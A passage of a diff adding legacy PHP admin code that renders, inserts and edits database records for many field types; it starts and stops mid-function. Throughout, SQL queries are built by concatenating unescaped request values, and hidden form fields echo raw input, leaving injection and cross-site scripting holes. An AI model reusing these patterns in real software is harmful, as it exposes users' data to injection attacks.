+               }
+         else  // Otherwise use $view to output data
+               {
+               reset( $out );
+               while( list ($k, $v) = each($out) ) 
+                       {
+                       $a_title = ereg_replace( "\\{".$v['field']."\\}", $v["value"], $a_title );
+                       $view = ereg_replace( "\\{".$v['field']."\\}", $v["value"], $view );
+                       $a_title = ereg_replace( "\\{encode:".$v['field']."\\}", urlencode($v["value"]), $a_title );
+                       $view = ereg_replace( "\\{encode:".$v['field']."\\}", urlencode($v["value"]), $view );
+                       }
+
+               for( $i=0 ; $i<$outcount ; $i++ )
+                       {
+                       $view = ereg_replace( "\\{".$i."\\}", $out[$i]["value"], $view );
+                       $view = ereg_replace( "\\{encode:".$i."\\}", urlencode($out[$i]["value"]), $view );
+                       }
+               $view = ereg_replace( "\\{submit\\}", $submit, $view );
+               $view = ereg_replace( "\\{link_params\\}", $link_params, $view );
+               $view = ereg_replace( "\\{form_params\\}", $form_params, $view );
+               $ret .=  $a_title.$view;
+               }
+
+               // Display bottom of page and close form
+
+               // If HTMLArea is used, attach scripts to set that up to submit button tags
+               
+       if( $richtext_used )
+               $ret .=  htmlarea_setup_script();
+
+       $ret .=  '      </FORM>
+               </CENTER>
+            ';
+
+       return( array( 'text' => $ret, 'status' => true ) );
+}
+
+function admin_new_record( $table, $conn_str, $fields, $url, $action, $params, $a_title, $view = "", $options = "", $quick_tip = "" ) 
+{
+       $r = admin_new_record_r( $table, $conn_str, $fields, $url, $action, $params, $a_title, $view, $options, $quick_tip );
+
+       echo $r['text'];
+       return( $r['status'] );
+
+}
+
+
+
+
+       // Add new record to a table
+
+function admin_add_new_record_r( $table, $conn_str, $fields, $url, $action, $params, $a_title, $view = "", $quick_tip = "" )
+{
+
+       $ret = '';
+
+               // Make all submitted parameters available
+       
+//     extract($GLOBALS[HTTP_POST_VARS]);
+//     extract($GLOBALS[HTTP_GET_VARS]);
+//     extract($GLOBALS[HTTP_POST_FILES]);
+       
+               // Break out configuration data
+               
+       $field_table = explode_trim( "|", $fields );
+
+               // Don't be surprised if last field is blank
+               
+       if( trim($field_table[count($field_table)-1]) == "" )
+               array_pop( $field_table );
+
+       foreach( $field_table as $key => $r )
+               $field_table[$key] = explode_trim( ",", $r );
+
+               // Check for additional parameters that are passed
+
+       if( !empty($params) )
+               {
+               $param = explode_trim( "|", $params );  // Separate parameters
+               $link_params = $form_params = "";
+               foreach( $param as $p )
+                       {
+                       $x = explode_trim( ".", $p );   // Separate Names from Values
+                       $link_params .= "&".$x[0]."=".urlencode($x[1]);
+                       $form_params .= '<INPUT TYPE="hidden" NAME="'.$x[0].'" VALUE="'.$x[1].'">';
+                       }
+               }
+
+       $names = $values = $not_supplied = $problem = "";
+
+               // For each field in the result
+                               
+       $comma = "";    // first parameter doesn't need a comma in front of it
+       $outcount = 0;
+       foreach( $field_table as $field )
+               {
+               $names .= $comma.$field[0];             // Add field name to $names for INSERT
+               $out[$outcount]["name"] = $field[0];    // Make name available to view
+               $f = explode_trim( ".", $field[1] );    // Break out optional parameters from field type
+               $fta = explode_trim( "~", $field[2] );
+               $field_title_only = $fta[0];
+
+               switch( $f[0] )
+                       {
+                       case "money":
+                       case "order":
+                       case "int":
+                       case "float":
+                       case "fixed":
+                       case "pointer":
+                       case "category":
+
+                                       // Handle special cases in this group of types
+                                       
+                               switch( $f[0] )
+                                       {
+
+                                       case "money":   
+
+                                                       // Get rid of "$" and "," from silly users
+
+                                               $GLOBALS[$field[4]] = ereg_replace( "[\$,]", "", $GLOBALS[$field[4]] ); 
+                                               break;
+                                               
+                                       case "pointer":
+                                       
+                                                       // Check for add_field values - Add new value to pointer target record
+
+                                               if( ($add_value = trim($GLOBALS[$field[4].'_add_field'])) != '' )
+                                                       {
+                                                               // If value already exists warn user.
+                                                               
+                                                       if( db_auto_get_row( "SELECT * FROM ".$f[1]." WHERE ".$f[2]." = '".trim($GLOBALS[$field[4].'_add_field'])."';", 0, $conn_str, $fail_mode ) )
+                                                               $not_supplied .= $field_title_only.": Value already exists in pick list, don't try to add it again.<BR>";
+                                                         else
+                                                               {
+                                                                       // Otherwise, add new value and use pointer to that
+                                                                       
+                                                               $add_result = db_auto_get_row( "INSERT INTO ".$f[1]." ( ".$f[2]." ) VALUES ( '".trim($GLOBALS[$field[4].'_add_field'])."' );
+                                                                                                                               SELECT currval( '".$f[1]."_id_seq' ) AS id;", 0, $conn_str, $fail_mode );
+                                                               $GLOBALS[$field[4]] = $add_result['id'];
+                                                               }
+                                                       }
+
+                                               break;
+                                               
+                                       default:
+                                               break;
+                                       }
+
+
+                               $out[$outcount]["value"] = $GLOBALS[$field[4]];
+                               if( !empty($GLOBALS[$field[4]]) && !is_numeric($GLOBALS[$field[4]]) )
+                                       $not_supplied .= $field_title_only.': "'.$GLOBALS[$field[4]].'" Is not an Integer Number<BR>';
+                                                                               
+                               switch( $field[3] )
+                                       {
+                                       case "SUPPLIED":
+                                               $values .= $comma.$GLOBALS[$field[4]];
+                                               break;
+                                               
+                                       case "TRUE":
+                                               if( !is_numeric($GLOBALS[$field[4]]) )
+                                                       $not_supplied .= $field_title_only.": Not Supplied<BR>";
+                                                 else
+                                                       $values .= $comma.$GLOBALS[$field[4]];
+                                               break;
+                                               
+                                       case "FALSE":
+                                               if( is_numeric($GLOBALS[$field[4]]) )
+                                                       $values .= $comma.$GLOBALS[$field[4]];
+                                                 else
+                                                       $values .= $comma."0";  // Default to 0
+                                               break;
+                                               
+                                       case "UNIQUE":                                  
+                                               if( empty($GLOBALS[$field[4]]) && $GLOBALS[$field[4]] != 0 )
+                                                       $not_supplied .= $field_title_only.": Not Supplied<BR>";
+                                                 else
+                                                       $values .= $comma.$GLOBALS[$field[4]];
+
+                                               if( db_auto_get_row( "SELECT * FROM $table WHERE ".$field[0]." = ".trim($GLOBALS[$field[4]]).";", 0, $conn_str, $fail_mode ) )
+                                                       $not_supplied .= $field_title_only.": Already exists, must be unique<BR>";
+                                               break;
+
+                                       case "UNIQUE_NOT_REQ":                                  
+                                               if( is_numeric($GLOBALS[$field[4]]) )
+                                                       $values .= $comma.$GLOBALS[$field[4]];
+                                                 else
+                                                       $values .= $comma."0";  // Default to 0
+
+                                               if( !empty($GLOBALS[$field[4]]) && $GLOBALS[$field[4]] != 0 && db_auto_get_row( "SELECT * FROM $table WHERE ".$field[0]." = ".trim($GLOBALS[$field[4]]).";", 0, $conn_str, $fail_mode ) )
+                                                               $not_supplied .= $field_title_only.": Already exists, must be unique<BR>";
+
+                                               break;
+
+                                       default:
+                                               $problem .=  '<FONT COLOR="red">ERROR: Invalid "Required" field name "'.$field[3].'" in function call</FONT><BR>';
+                                               break;
+                                       }
+                               break;
+                               
+
+                       case "lat":
+                                       // If we've been passed a decimal degree value
+                               if( !empty($GLOBALS[$field[4]]) )
+                                       $v = $GLOBALS[$field[4]];
+                                 else  // Otherwise compile from parts
+                                       {
+                                       if( $GLOBALS[$field[4].'_DEG'] > 90 || $GLOBALS[$field[4].'_DEG'] < 0 || $GLOBALS[$field[4].'_MIN'] >= 60 || $GLOBALS[$field[4].'_MIN'] < 0 )
+                                               {
+                                               $not_supplied .= $field_title_only.": Invalid entry. Degrees must be 0 to 90 and Minutes must be 0 to less than 60<BR>";
+                                               break;
+                                               }
+                                       $v = ( $GLOBALS[$field[4].'_NS'] == "N" ? 1 : -1 ) * ( $GLOBALS[$field[4].'_DEG'] + ( $GLOBALS[$field[4].'_MIN'] / 60 ) );
+                                       }
+                               $fw = 2;
+                                       // Rebuild value for display
+                               if( $f[1] > 0 )
+                                       $fw = $f[1];
+                               $ns = 'N';
+                               if( ($v2=$v) < 0 )
+                                       {
+                                       $ns = 'S';
+                                       $v2 = -1 * $v2;
+                                       }
+                               $dv = (int) $v2;
+                               $mv = ( $v2 - $dv ) * 60;
+                               $out[$outcount]["value"] = sprintf( "%s %d&deg; %01.".$fw."f'", $ns, $dv, $mv );
+                               switch( $field[3] )
+                                       {
+                                       case "SUPPLIED":
+                                               $values .= $comma.$v;
+                                               break;
+                                               
+                                       case "TRUE":
+                                               if( empty($v) )
+                                                       $not_supplied .= $field_title_only.": Not Supplied<BR>";
+                                                 else
+                                               $values .= $comma.$v;
+                                               break;
+                                               
+                                       case "FALSE":
+                                               $values .= $comma.$v;
+                                               break;
+                                               
+                                       case "UNIQUE":                                  
+                                               if( db_auto_get_row( "SELECT * FROM $table WHERE ".$field[0]." = $v;", 0, $conn_str, $fail_mode ) )
+                                                       $not_supplied .= $field_title_only.": Already exists, must be unique<BR>";
+                                               $values .= $comma.$v;
+                                               break;
+                                               
+                                       case "UNIQUE_NOT_REQ":                                  
+                                               if( !empty($GLOBALS[$field[4]]) && $GLOBALS[$field[4]] != 0 && db_auto_get_row( "SELECT * FROM $table WHERE ".$field[0]." = $v;", 0, $conn_str, $fail_mode ) )
+                                                       $not_supplied .= $field_title_only.": Already exists, must be unique<BR>";
+                                               $values .= $comma.$v;
+                                               break;
+                                               
+                                       default:
+                                               $problem .=  '<FONT COLOR="red">ERROR: Invalid "Required" field  name "'.$field[3].'" in function call</FONT><BR>';
+                                               break;
+                                       }
+                               break;
+                               
+                       case "lon":
+                                       // If we've been passed a decimal degree value
+                               if( !empty($GLOBALS[$field[4]]) )
+                                       $v = $GLOBALS[$field[4]];
+                                 else  // Otherwise compile from parts
+                                       {
+                                       if( $GLOBALS[$field[4].'_DEG'] > 180 || $GLOBALS[$field[4].'_DEG'] < 0 || $GLOBALS[$field[4].'_MIN'] >= 60 || $GLOBALS[$field[4].'_MIN'] < 0 )
+                                               {
+                                               $not_supplied .= $field_title_only.": Invalid entry. Degrees must be 0 to 180 and Minutes must be 0 to less than 60<BR>";
+                                               break;
+                                               }
+                                       $v = ( $GLOBALS[$field[4].'_NS'] == "E" ? 1 : -1 ) * ( $GLOBALS[$field[4].'_DEG'] + ( $GLOBALS[$field[4].'_MIN'] / 60 ) );
+                                       }
+                               $fw = 2;
+                                       // Rebuild value for display
+                               if( $f[1] > 0 )
+                                       $fw = $f[1];
+                               $ns = 'E';
+                               if( ($v2=$v) < 0 )
+                                       {
+                                       $ns = 'W';
+                                       $v2 = -1 * $v2;
+                                       }
+                               $dv = (int) $v2;
+                               $mv = ( $v2 - $dv ) * 60;
+                               $out[$outcount]["value"] = sprintf( "%s %d&deg; %01.".$fw."f'", $ns, $dv, $mv );
+                               switch( $field[3] )
+                                       {
+                                       case "SUPPLIED":
+                                               $values .= $comma.$v;
+                                               break;
+                                               
+                                       case "TRUE":
+                                               if( empty($v) )
+                                                       $not_supplied .= $field_title_only.": Not Supplied<BR>";
+                                                 else
+                                               $values .= $comma.$v;
+                                               break;
+                                               
+                                       case "FALSE":
+                                               $values .= $comma.$v;
+                                               break;
+                                               
+                                       case "UNIQUE":                                  
+                                               if( db_auto_get_row( "SELECT * FROM $table WHERE ".$field[0]." = $v;", 0, $conn_str, $fail_mode ) )
+                                                       $not_supplied .= $field_title_only.": Already exists, must be unique<BR>";
+                                               $values .= $comma.$v;
+                                               break;
+                                               
+                                       case "UNIQUE_NOT_REQ":                                  
+                                               if( !empty($GLOBALS[$field[4]]) && $GLOBALS[$field[4]] != 0 && db_auto_get_row( "SELECT * FROM $table WHERE ".$field[0]." = $v;", 0, $conn_str, $fail_mode ) )
+                                                       $not_supplied .= $field_title_only.": Already exists, must be unique<BR>";
+                                               $values .= $comma.$v;
+                                               break;
+                                               
+                                       default:
+                                               $problem .=  '<FONT COLOR="red">ERROR: Invalid "Required" field  name "'.$field[3].'" in function call</FONT><BR>';
+                                               break;
+                                       }
+                       
+                               break;
+
+
+                       case "password":
+                       case "list":
+                       case "text":
+                       case "inet":
+                       case "state":
+                       case "country":
+                       case "url":
+                       case "richtext":
+                       case "textbox":
+                       
+                                       // Check for special cases
+                                       
+                               switch( $f[0] )
+                                       {
+
+                                       case "password":
+                                               if( $GLOBALS[$field[4]] != $GLOBALS[$field[4].'_verify'] )
+                                                       $not_supplied .= $field_title_only.': The two copies of this password do not match. <BR>'; 
+                                               break;
+                                               
+                                       case "inet":
+                                               if( ($r = clean_input( $field[0], 'inet' )) != '' )
+                                                       $problem .= '<FONT COLOR="red">'.$field_title_only.': Not a valid IP address or netmask.</FONT><BR>';
+                                               break;
+
+                                       case "list":
+                                                       // If 'multi' is selected for picklist option, then compile results from array
+                                               if( strstr( $f[3], 'multi' ) )
+                                                       {
+                                                       $m_val = $sep = '';
+
+                                                               // Place results in '~' separated string for storage.
+                                                               
+                                                       if( is_array($GLOBALS[$field[4]]) )
+                                                               foreach( $GLOBALS[$field[4]] as $m )
+                                                                       {
+                                                                       $m_val .= $sep.$m;
+                                                                       $sep = '~';
+                                                                       }
+                                                       $GLOBALS[$field[4]] = $m_val;
+                                                       }
+                                                                       
+                                               break;
+                                               
+                                       default:
+                                               break;  
+                                       }
+                                                               
+                               $v = str_replace( "%27", "\'", $GLOBALS[$field[4]] );
+                               if( trim(strip_tags($v)) == '' )
+                                       $v = '';
+                               $out[$outcount]["value"] = $v;
+                               switch( $field[3] )
+                                       {
+                                       case "SUPPLIED":
+                                               $values .= $comma."'".$v."'";
+                                               break;
+                                               
+                                       case "TRUE":
+                                               if( empty($v) )
+                                                       $not_supplied .= $field_title_only.": Not Supplied<BR>";
+                                                 else
+                                               $values .= $comma."'".$v."'";
+                                               break;
+                                               
+                                       case "FALSE":
+                                               $values .= $comma."'".$v."'";
+                                               break;
+                                               
+                                       case "UNIQUE":                                  
+                                               if( empty($v) )
+                                                       $not_supplied .= $field_title_only.": Not Supplied<BR>";
+                                                 else
+                                                       {
+                                                       if( db_auto_get_row( "SELECT * FROM $table WHERE ".$field[0]." = '".trim($v)."';", 0, $conn_str, $fail_mode ) )
+                                                               $not_supplied .= $field_title_only.": Already exists, must be unique<BR>";
+                                                       }
+                                               $values .= $comma."'".$v."'";
+                                               break;
+                                               
+                                       case "UNIQUE_NOT_REQ":                                  
+                                               if( !empty($v) )
+                                                       {
+                                                       if( db_auto_get_row( "SELECT * FROM $table WHERE ".$field[0]." = '".trim($v)."';", 0, $conn_str, $fail_mode ) )
+                                                               $not_supplied .= $field_title_only.": Already exists, must be unique<BR>";
+                                                       }
+                                               $values .= $comma."'".$v."'";
+                                               break;
+                                               
+                                       default:
+                                               $problem .=  '<FONT COLOR="red">ERROR: Invalid "Required" field  name "'.$field[3].'" in function call</FONT><BR>';
+                                               break;
+                                       }
+                               break;
+                               
+                       case "date":
+                               $out[$outcount]["value"] = $GLOBALS[$field[4]];
+
+                               if( trim($GLOBALS[$field[4]]) == "" )                           // Blank dates must be "NULL"
+                                       $dval = "NULL";
+                                 else
+                                       $dval = "'".$GLOBALS[$field[4]]."'";
+                                       
+                               switch( $field[3] )
+                                       {
+                                       case "SUPPLIED":
+                                               $values .= $comma.$dval;
+                                               break;
+                                               
+                                       case "TRUE":
+                                               if( empty($GLOBALS[$field[4]]) )
+                                                       $not_supplied .= $field_title_only.": Not Supplied<BR>";
+                                                 else
+                                                       $values .= $comma.$dval;
+                                               break;
+                                               
+                                       case "FALSE":
+                                               $values .= $comma.$dval;
+                                               break;
+                                               
+                                       case "UNIQUE":                                  
+                                               if( db_auto_get_row( "SELECT * FROM $table WHERE ".$field[0]." = '".trim($GLOBALS[$field[4]])."';", 0, $conn_str, $fail_mode ) )
+                                                       $not_supplied .= $field_title_only.": Already exists, must be unique<BR>";
+                                               $values .= $comma.$dval;
+                                               break;
+                                               
+                                       case "UNIQUE_NOT_REQ":                                  
+                                               if( !empty($GLOBALS[$field[4]]) && db_auto_get_row( "SELECT * FROM $table WHERE ".$field[0]." = '".trim($GLOBALS[$field[4]])."';", 0, $conn_str, $fail_mode ) )
+                                                       $not_supplied .= $field_title_only.": Already exists, must be unique<BR>";
+                                               $values .= $comma.$dval;
+                                               break;
+                                               
+                                       default:
+                                               $problem .=  '<FONT COLOR="red">ERROR: Invalid "Required" field  name "'.$field[3].'" in function call</FONT><BR>';
+                                               break;
+                                       }
+                               break;
+                               
+                       case "multifield":
+                       
+                               $line = 0;
+                               $empty = TRUE;
+                               $m_data = array();
+       
+                                       // Build array of data to store
+                               while( isset( $GLOBALS[$field[4].'_'.($line+1).'_1'] ) )
+                                       {
+                                       $line++;
+                                       if( trim($GLOBALS[$field[4].'_'.$line.'_1']) != '' )
+                                               {
+                                               $a = array();
+                                               for( $i=1 ; $i<=$f[1] ; $i++ )
+                                                       {
+                                                       $a[$i-1] = trim( str_replace("%27", "\'", $GLOBALS[$field[4].'_'.($line).'_'.$i] ) );
+                                                       if( $a[$i-1] != '' )
+                                                               $empty = FALSE;
+                                                       }
+                                               array_push( $m_data, $a );
+                                               }
+                                       }
+
+                               if( !$empty )
+                                       $v = serialize( $m_data );
+                                 else
+                                       $v = '';
+
+                               $out[$outcount]["value"] = $v;
+
+                               switch ($field[3])
+                                       {
+                                       case "TRUE" :
+                                               if( $empty )
+                                                       $not_supplied .= $field_title_only.": Not Supplied<BR>";
+                                               else
+                                                       $values .= $comma."'".$v."'";
+                                               break;
+
+                                       case "FALSE" :
+                                               $values .= $comma."'".$v."'";
+                                               break;
+
+                                       default :
+                                               $problem .=  '<FONT COLOR="red">ERROR: Invalid "Required" field  name "'.$field[3].'" in function call</FONT><BR>';
+                                               break;
+                                       }
+       
+                               break;
+                               
+                       case "image":
+                       
+                               $out[$outcount]["value"] = "IMAGES Not Available for View at this time";
+                               switch( $field[3] )
+                                       {
+                                       case "SUPPLIED":
+                                               $problem .=  '<FONT COLOR="red">ERROR: "SUPPLIED" not permitted as option for image input</FONT><BR>';
+                                               break;
+                                       
+                                       case "TRUE":
+                                               if( $GLOBALS[$field[4]."_name"] == "" )
+                                                       $not_supplied .= $field_title_only.": Not Supplied<BR>";
+                                               // no break; here - falls through to FALSE
+                                               
+                                       case "FALSE":
+                                               if( $GLOBALS[$field[4]."_name"] != "" )
+                                                       $values .= $comma."'".process_image( $GLOBALS[$field[4]], $GLOBALS[$field[4]."_name"] )."'";
+                                                   else
+                                                       $values .= $comma."''";
+                                               break;
+
+                                       default:
+                                               $problem .=  '<FONT COLOR="red">ERROR: Invalid "Required" field  name "'.$field[3].'" in function call</FONT><BR>';
+                                               break;
+                                       }
+                               break;
+                                               
+                       case "images":
+
+                               // Note that the image field is only updated when required so field name is set below along with value                  
+
+                               $out[$outcount]["value"] = "IMAGES Not Available for View at this time";
+                               switch( $field[3] )
+                                       {
+                                       case "FALSE":
+                                               if( is_array( ($im_data = $GLOBALS[$field[4]]) ) )
+                                                       {
+                                                       $im_cur = unserialize( $data[$field[0]] );              // Convert existing data to an array
+                                                       $im_new = array();
+                                                       $im_new_num = 0;
+                                                       for( $im_num=0 ; $im_num<count($GLOBALS[$field[0]."_name"]) ; $im_num++ )
+                                                               {
+                                                                       // If new image is supplied, store it
+                                                               if( $GLOBALS[$field[0]."_name"][$im_num] != "" )
+                                                                       {
+//                                                                     if( $im_cur[$im_num]['filename'] )              // If there's already an image, delete it before storing the new one
+//                                                                             delete_image( $im_cur[$im_num]['filename'] );
+                                                                       $im_new[$im_new_num]['filename'] = process_image( $GLOBALS[$field[0]][$im_num], $GLOBALS[$field[0]."_name"][$im_num] );
+                                                                       $im_new[$im_new_num]['descr'] = $GLOBALS[$field[0].'_DESCR'][$im_num];
+                                                                       $im_new[$im_new_num]['align'] = $GLOBALS[$field[0].'_ALIGN'][$im_num];
+                                                                       $im_new[$im_new_num]['size'] = $GLOBALS[$field[0].'_SIZE'][$im_num];
+                                                                       $im_new_num++;
+                                                                       }
+
+
+//                                                                             // Else, if there's an image in the database and we're deleting
+//                                                               elseif( $im_cur[$im_num]['filename'] != "" && isset( $GLOBALS[$field[0]."_DELETE"][$im_num] )  )
+//                                                                     delete_image( $im_cur[$im_num]['filename'] );
+//                                                               elseif( $im_cur[$im_num]['filename'] != "" )
+//                                                                     {
+//                                                                     $im_new[$im_new_num]['filename'] = $im_cur[$im_num]['filename'];
+//                                                                     $im_new[$im_new_num]['descr'] = $GLOBALS[$field[0].'_DESCR'][$im_num];
+//                                                                     $im_new[$im_new_num]['align'] = $GLOBALS[$field[0].'_ALIGN'][$im_num];
+//                                                                     $im_new[$im_new_num]['size'] = $GLOBALS[$field[0].'_SIZE'][$im_num];
+//                                                                     $im_new_num++;
+//                                                                     }       
+
+
+                                                               }
+                                                       $values .= $comma."'".serialize( $im_new )."'";
+                                                       }                                                       
+
+                                               break;
+
+                                       case "TRUE":
+                                       case "SUPPLIED":
+                                       default:
+                                               $problem .=  '<FONT COLOR="red">ERROR: Invalid "Required" field  name "'.$field[3].'" in function call</FONT><BR>';
+                                               break;
+                                       }
+                               break;
+
+                       case "file":
+                               
+                               $out[$outcount]["value"] = "FILES Not Available for View at this time";
+                               switch( $field[3] )
+                                       {
+                                       case "SUPPLIED":
+                                               $problem .=  '<FONT COLOR="red">ERROR: "SUPPLIED" not permitted as option for file input</FONT><BR>';
+                                               break;
+                                       
+                                       case "TRUE":
+                                               if( $GLOBALS[$field[4]."_name"] == "" )
+                                                       $not_supplied .= $field_title_only.": Not Supplied<BR>";
+                                               // no break; here - falls through to FALSE
+                                               
+                                       case "FALSE":
+                                               if( $GLOBALS[$field[4]."_name"] != "" )
+                                                       {
+                                                       if( isset( $f[1] ) && $f[1] != "" && !eregi( ".".$f[1]."$",$GLOBALS[$field[4]."_name"]) )
+                                                               $not_supplied .= $field_title_only.': "'.$GLOBALS[$field[4]."_name"].'" is not correct file type. Must be:  '.$f[1]."<BR>";
+                                                           else 
+                                                               $values .= $comma."'". file_upload( $GLOBALS[$field[4]], $GLOBALS[$field[4]."_name"], SI_BASE_FILE_PATH )."'";
+                                                       }
+                                                   else
+                                                       $values .= $comma."''";
+                                               break;
+
+                                       default:
+                                               $problem .=  '<FONT COLOR="red">ERROR: Invalid "Required" field  name "'.$field[3].'" in function call</FONT><BR>';
+                                               break;
+                                       }
+                               break;
+
+                       case "checkbox":
+                               if( $GLOBALS[$field[4]] == "on" )
+                                       {
+                                       $out[$outcount]["value"] = "Yes";
+                                       $values .= $comma."'t'";
+                                       }
+                                   else
+                                       {
+                                       $out[$outcount]["value"] = "No";
+                                       $values .= $comma."'f'";
+                                       }
+                               break;
+
+                       case "bitmap":
+                               $out[$outcount]["value"] = "Bitmaps not available for view at this time";
+                               $b = 0;         // Start with clear bitmap
+                               for( $i=0 ; $i<SI_INT_SIZE ; $i++ )             // Bitmaps are based on the size of an integer
+                                       {
+                                       if( isset($GLOBALS[$field[4]][$i]) && $GLOBALS[$field[4]][$i] == "on" ) // If checked 
+                                               $b = $b + pow(2,$i);                    // Set bit
+                                       }
+                               
+                               $values .= $comma.$b;
+                               break;
+                               
+                       default:
+                               $ret .=  '<FONT COLOR="red">UNKNOWN FIELD TYPE: '.$field[1].' for '.$field[0].'</FONT><BR>';
+                               break;
+                                       
+                       } // switch( field )
+                       
+               $comma = ", ";  // All subsequent names/values must have a preceeding comma
+                       
+               $outcount++;
+               } // foreach( field )
+
+               // Replace parameters in Title                  
+
+       for( $i=0 ; $i<$outcount ; $i++ )
+               {
+               $a_title = ereg_replace( "\\{".$i."\\}", $out[$i]["value"], $a_title );
+               $a_title = ereg_replace( "\\{encode:".$i."\\}", urlencode($out[$i]["value"]), $a_title );
+               }
+
+       $a_title = ereg_replace( "\\{link_params\\}", $link_params, $a_title );
+       $a_title = ereg_replace( "\\{form_params\\}", $form_params, $a_title );
+
+               // Add QuickTip if provided
+               
+       if( trim($quick_tip) != '' )
+               $a_title = quick_tip( $a_title, $quick_tip );
+
+       $oid = 0;       // Assume we don't get anything
+
+       $ok_to_save = true;
+       
+       if( !empty($not_supplied) )
+               {
+               $results .= '
+                       <H2>Required fields not supplied</H2><P>
+                       <FONT COLOR="red">'.$not_supplied.'</FONT><P>
+                       Use "BACK" button on browser, add missing data and resubmit.<P>
+                    ';
+               $ok_to_save = false;
+               }   
+       
+       if( !empty($problem) )
+               {
+               $results .= $problem.'<P>
+                       Use "BACK" button on browser, correct problem field, and resubmit.<P>
+                       ';
+               $ok_to_save = false;    
+               }
+               
+       if( $ok_to_save )
+               {
+               $results = '&nbsp<P><H2>New data saved.</H2><P>';
+               $qs = "INSERT INTO $table ($names) VALUES ($values);";
+               if( SI_DEBUG >= 1 ) $ret .=  "<PRE>admin_add_new_record()[".__LINE__."]: Query String = $qs</PRE><BR>"; 
+               $oid = db_auto_exec( $qs, $conn_str, FALSE );
+               }
+
+               // Display top of page
+               
+       $ret .=  '<CENTER>
+               '.$a_title.'
+            ';
+               
+       if( empty($view) )      // If there's no spec in $view
+               $ret .=  $results;
+           else
+               {
+               for( $i=0 ; $i<$outcount ; $i++ )
+                       {
+                       $view = ereg_replace( "\\{".$i."\\}", $out[$i]["value"], $view );
+                       $view = ereg_replace( "\\{encode:".$i."\\}", urlencode($out[$i]["value"]), $view );
+                       }
+               $view = ereg_replace( "\\{results\\}", $results, $view );
+               $view = ereg_replace( "\\{link_params\\}", $link_params, $view );
+               $view = ereg_replace( "\\{form_params\\}", $form_params, $view );
+               $ret .=  $view;
+               }
+         
+       $ret .=  '      
+               </CENTER>
+            ';
+            
+       if( $oid != 0 )
+               {
+               $d = db_auto_get_row( "SELECT id FROM $table WHERE oid = $oid;", 0, $conn_str );
+               $id = $d['id'];
+               }
+
+       return( array( 'text' => $ret, 'status' => $oid, 'id' => $id ) );
+}
+
+function admin_add_new_record( $table, $conn_str, $fields, $url, $action, $params, $a_title, $view = "", $quick_tip = "" )
+{
+       $r = admin_add_new_record_r( $table, $conn_str, $fields, $url, $action, $params, $a_title, $view, $quick_tip );
+       echo $r['text'];
+       return( $r['status'] );
+}
+
+
+
+
+       // Edit a record
+
+function admin_edit_record_r( $table, $conn_str, $id, $fields, $url, $action, 
+                       $params, $a_title, $view = "", $options = "", $quick_tip = "" )
+{
+
+       $ret = '';
+       
+       $form_name = "admin_new_form";
+       $richtext_used = FALSE;
+       
+               // Check for any options
+               
+       $borders = strstr( $options, "borders" ) == FALSE ? 0 : 1;
+            
+               // Check for additional parameters that are passed
+
+       if( !empty($params) )
+               {
+               $param = explode_trim( "|", $params );  // Separate parameters
+               $link_params = $form_params = "";
+               foreach( $param as $p )
+                       {
+                       $x = explode_trim( ".", $p );   // Separate Names from Values
+                       $link_params .= "&".$x[0]."=".urlencode($x[1]);
+                       $form_params .= '<INPUT TYPE="hidden" NAME="'.$x[0].'" VALUE="'.$x[1].'">';
+                       }
+               }
+            
+            
+               // Get the data
+
+       $query_string = "SELECT * FROM ".$table." WHERE id = ".$id.";";
+       if( SI_DEBUG >= 1 ) $ret .=  "<PRE>admin_edit_record()[".__LINE__."]: Query String = $query_string</PRE><BR>";  
+       $data = db_auto_get_row( $query_string, 0, $conn_str, $fail_mode );
+
+       if( $data ) 
+               {
+
+                       // Break out configuration data
+               
+               $field_table = explode_trim( "|", $fields );
+
+                       // Don't be surprised if last field is blank
+                       
+               if( trim($field_table[count($field_table)-1]) == "" )
+                       array_pop( $field_table );
+
+               foreach( $field_table as $key => $r )
+                       $field_table[$key] = explode_trim( ",", $r );
+
+                       // For each field in the result
+                               
+               $outcount = 0;
+               foreach( $field_table as $field )
+                       {
+                               
+                               // Display title fields
+                       $out[$outcount]["hidden"] = FALSE;
+
+                               // Check for pop-up-tips
+                       
+                       $n = explode_trim( '~', $field[2] );
+
+                       $field_name_color = 'black';
+                        
+                       switch( $field[3] )
+                               {
+                               case "TRUE":
+                               case "UNIQUE":
+                                       $field_name_color = 'red';
+                               case "FALSE":
+                               case "DISPLAY":
+                               case "UNIQUE_NOT_REQ":
+
+                                               // setup tip display - requires show_QuickTip() and hide_QuickTip() functions from java_functions.js
+       
+                                       if( count($n) > 1 )
+                                               $out[$outcount]["name"] = quick_tip( '<font color="'.$field_name_color.'">'.$n[0].'</font>', $n[1] );
+                                         else
+                                               $out[$outcount]["name"] = '<FONT COLOR="'.$field_name_color.'">'.$field[2].'</FONT>';
+
+                                       break;
+                               case "SUPPLIED":
+                                        $out[$outcount]["name"] = '<INPUT TYPE="hidden" NAME="'.$field[0].'" VALUE="'.$field[4].'">';
+                                       break;
+                               case "HIDDEN":
+                                       $out[$outcount]["name"] = '';
+                                       $out[$outcount]["hidden"] = TRUE;
+                                       break;
+                               default:
+                                       $out[$outcount]["name"] = '<FONT COLOR="red">Invalid {required} field specification</FONT>';
+                                       break;
+                               }
+                       
+                               // Display input fields
+                       $f = explode_trim( ".", $field[1] );
+                       switch( $f[0] )
+                               {
+                               case "password":
+                               case "money":
+                               case "int":
+                               case "text":
+                               case "inet":
+                               case "url":
+                               case "order":
+                               case "float":
+                               case "fixed":
+                                       $prefix = "";
+                                       $s = $f[1];
+                                       $v = $data[$field[0]];
+                                       $prefix = "";
+                                               
+                                       if( $f[0] == "money" )  // If it's money, default to 0.00
+                                               {
+                                               $v = sprintf( "%01.2f", $data[$field[0]] );
+                                               $prefix = "$";
+                                               }
+                                       
+                                       if( $f[0] == "fixed" )  // If it's fixed, set precision
+                                               {
+                                               $v = sprintf( "%01.".$f[1]."f", $data[$field[0]] );
+                                               $s = $f[1] + 4;
+                                               }
+                                       
+                                       switch( $field[3] )
+                                               {
+                                               case "TRUE":
+                                               case "FALSE":
+                                               case "UNIQUE":
+                                               case "UNIQUE_NOT_REQ":
+                                                       if( $f[0] == "password" )
+                                                               {
+                                                               $out[$outcount]["value"] = $prefix.'<INPUT TYPE="password" NAME="'.$field[0].'" SIZE="'.$s.'" VALUE="'.htmlentities($v).'">';
+                                                               $out[$outcount]["value"] .= '&nbsp enter again <INPUT TYPE="password" NAME="'.$field[0].'_verify" SIZE="'.$s.'" VALUE="'.htmlentities($v).'">';
+                                                               }
+                                                         else
+                                                               $out[$outcount]["value"] = $prefix.'<INPUT TYPE="text" NAME="'.$field[0].'" SIZE="'.$s.'" VALUE="'.htmlentities($v).'">';
